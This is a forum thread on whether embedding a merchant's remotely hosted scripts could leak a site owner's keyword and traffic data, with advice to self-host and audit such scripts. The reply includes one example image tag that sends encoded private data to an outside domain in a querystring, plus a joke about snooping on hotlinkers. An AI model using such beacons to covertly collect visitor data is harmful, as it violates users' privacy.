security of using other companies scripts

[qwik]

I use alot of ppc to drive traffic to my site and some of my merchants compete with me. I am wondering if I put up some of their javascript links if I am opening myself up to passing keyword data on to them. If so, is there a simple way to prevent this?

Thanks,

qwik

[httpwebwitch]

what do you mean "putting up javascript links"? What does that mean?

whether your keyword data is exposed depends how your incoming traffic is handled. a good competitor will probably not have much trouble finding out your keywords if they really try, but there are ways to make it awfully difficult.

whatever you do, never "hotlink" a script from another website. Then you're leaving yourself open to malicious attacks.

[qwik]

well, they supplied me with a graphic with a java control.. the control calls two scripts from their server rather than being included in the code.. the scripts basically are used to determine what page to land the user on their site.. but not knowing what the scripts contain, i was leary to put it up..

what can i do to protect my keyword information from being passed on? will making a link (just a standard link) open in a new window prevent this information from being forwarded?

thanks for your help,

-qwik

[httpwebwitch]

don't do it.

Never put something on your page that is hosted on someone else's server. Unless they're your mom or someone you absolutely trust, or it's some kind of affiliate thing like an Amazon product image. Images can be switched. And scripts - ah, yes hotlinked scripts are a big fat invitation to let them see your visitor's histories, check your site's performance, monitor your traffic, you name it.

I could list a hundred fascinating things I have fun doing when someone hotlinks one of my scripts... but I wouldn't want to implicitly incriminate myself. :)

If viable, download and host the script file yourself and keep it safely on your own server. Open up the code, and pick it apart to see exactly what it's doing. If the script makes any kind of contact with their server, hack it up or throw it away. A tracking/hacking/snooping script can be as simple as an image with a convoluted querystring.

<img src="theirdomain.com/happyface.gif?all&your&secret&info&encoded">

for instance if you see their domain name or an IP address mentioned anywhere in the code, replace it with your own and see if it still works.

good luck